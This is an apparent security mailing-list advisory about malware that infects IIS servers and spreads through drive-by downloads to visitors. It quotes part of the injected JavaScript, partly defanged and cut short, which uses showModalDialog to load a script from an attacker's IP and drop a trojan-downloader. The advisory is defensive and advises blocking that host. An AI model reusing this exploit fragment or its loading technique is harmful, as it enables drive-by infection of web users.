New malware to infect IIS and from there jump to clients

["Peter Kruse" <kruse () krusesecurity dk>]

Hi all,

This is a heads up.

A new malware has been reported from several sources so it appears to be
fairly widespread already.

The malware spreads from infected IIS servers to clients that visit the
webpage of the infected server. How the IIS servers was compromised in the
first place is unfortunately still unknown (any info on that would be
appreciated).

The malware redirects a visitor to http: //217.107.218.147/xxx.php. It does
so by running a javascript that apparently gets appended to several files in
the webfolder of IIS (eg. html, .txt, .gif). The webpage loads http://
217.107.218.147/xxx.html that contains the following code:

<script language="Javascript">

    function InjectedDuringRedirection(){
      showModalDialog('md.htm', window, "dialog
Top: -10000\;dialogLeft:-10000\;dialog Height :1\;dialog Width
:1\;").location= " java script:'<SCRIPT  SRC =\\' http://
217.107.218.147/shellxxx.js\\'> <\ /script>'";

[snip - you get the picture, right?]

I had to put in some spaces to get past trivial content filtering.

> From that point it will try to run the malware in a 1x1 dialogbox in the
following order:

shellscript_loadxxx.js
shellxxx.js

The shellxxx.js will try to drop "msits.exe" (51.712 bytes) a
trojan-downloader and run it.

Consider to deny access to http://217.107.218.147 in your firewall. This
will at least prevent client PCs from getting infected.

Further information can be found in the daily log from SANS:
http://isc.sans.org/

Regards
Peter Kruse
http://www.csis.dk

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